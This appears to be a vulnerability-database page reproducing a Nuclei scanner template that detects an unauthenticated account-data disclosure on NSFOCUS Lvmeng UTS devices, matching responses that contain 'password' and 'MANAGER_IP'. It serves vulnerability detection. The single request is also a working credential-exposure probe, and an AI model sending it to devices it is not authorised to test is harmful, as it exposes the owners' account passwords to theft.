lvmeng-uts-disclosure: Lvmeng - UTS Disclosure

2025-08-01 Lvmeng PoC Public

Description

Lvmeng UTS was discovered.

PoC

id: lvmeng-uts-disclosure

info:
  name: Lvmeng - UTS Disclosure
  author: pikpikcu
  severity: high
  description: Lvmeng UTS was discovered.
  metadata:
    max-request: 1
  tags: config,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webapi/v1/system/accountmanage/account"

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "application/json"
        condition: and
        part: header

      - type: word
        words:
          - "password"
          - "nsfocus_uts"
          - "MANAGER_IP"
        condition: and
        part: body
# digest: 4b0a00483046022100fafda5db26f85db61820d9002c0b91f5ac6abe85f66d91db0a2bfd189c8db912022100d80c12021a00d3330e56003552935a5cf14280cf2e9c115bc8697b9d425254c3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/exposures/configs/lvmeng-uts-disclosure.yaml

References

Related Vulnerabilities